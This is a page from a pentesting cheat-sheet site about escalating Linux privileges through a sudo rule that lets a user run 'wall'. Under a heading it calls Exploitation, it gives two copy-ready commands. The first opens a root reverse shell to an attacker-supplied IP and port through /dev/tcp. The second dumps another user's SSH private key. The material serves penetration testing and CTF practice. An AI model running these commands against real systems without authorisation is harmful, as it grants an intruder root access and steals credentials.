Linux Privilege Escalation
  • Ansible Playbook Privilege Escalation
  • Apache Conf Privilege Escalation
  • Bash eq Privilege Escalation
  • Buffer Overflow Privilege Escalation
  • Chrome Remote Debugger Pentesting
  • Doas Privilege Escalation
  • Ghidra Debug Mode RCE
  • Gnuplot Privilege Escalation
  • LXC/LXD (Linux Container/Daemon) Privilege Escalation
  • Linux Privilege Escalation
  • Mozilla Pentesting
  • OpenSSL Privilege Escalation
  • Pip Download Code Execution
  • PolKit Privilege Escalation
  • Python Eval Code Execution
  • Python Jails Escape
  • Python Privilege Escalation
  • Python Yaml Privilege Escalation
  • Ruby Privilege Escalation
  • Rust Privilege Escalation
  • SSSD Privilege Escalation
  • Shared Library Hijacking
  • Snapd Privilege Escalation
  • Sudo ClamAV Privilege Escalation
  • Sudo Dstat Privilege Escalation
  • Sudo Exiftool Privilege Escalation
  • Sudo Fail2ban Privilege Escalation
  • Sudo Git Privilege Escalation
  • Sudo Java Privilege Escalation
  • Sudo OpenVPN Privilege Escalation
  • Sudo Path Traversal Privilege Escalation
  • Sudo Privilege Escalation
  • Sudo Privilege Escalation by Overriding Shared Library
  • Sudo Reboot Privilege Escalation
  • Sudo Screen Privilege Escalation
  • Sudo Service Privilege Escalation
  • Sudo Shutdown, Poweroff Privilege Escalation
  • Sudo Systemctl Privilege Escalation
  • Sudo Tee Privilege Escalation
  • Sudo Umount Privilege Escalation
  • Sudo Vim Privilege Escalation
  • Sudo Wall Privilege Escalation
  • Sudo Wget Privilege Escalation
  • Sudoedit Privilege Escalation
  • Tar Wildcard Injection PrivEsc
  • Update-Motd Privilege Escalation
  • irb (Interactive Ruby Shell) Privilege Escalation
  • Linux Backdoors
  • Linux Pivoting
  • Post eploitation
Powered by GitBook
On this page

Sudo Wall Privilege Escalation

Wall command can display the result of OS command. Executing as root might be vulnerable to privilege escalation (PrivEsc).

Investigation

sudo -l

(ALL) NOPASSWD: wall
Copied!

Exploitation

# Reverse shell
sudo wall "$(bash -c 'bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1')"

# Gets a SSH private key of another user
sudo wall "$(cat /home/user/.ssh/id_rsa)"
PreviousSudo Vim Privilege EscalationNextSudo Wget Privilege Escalation

Last updated 1 year ago

  • Investigation
  • Exploitation
Page cover image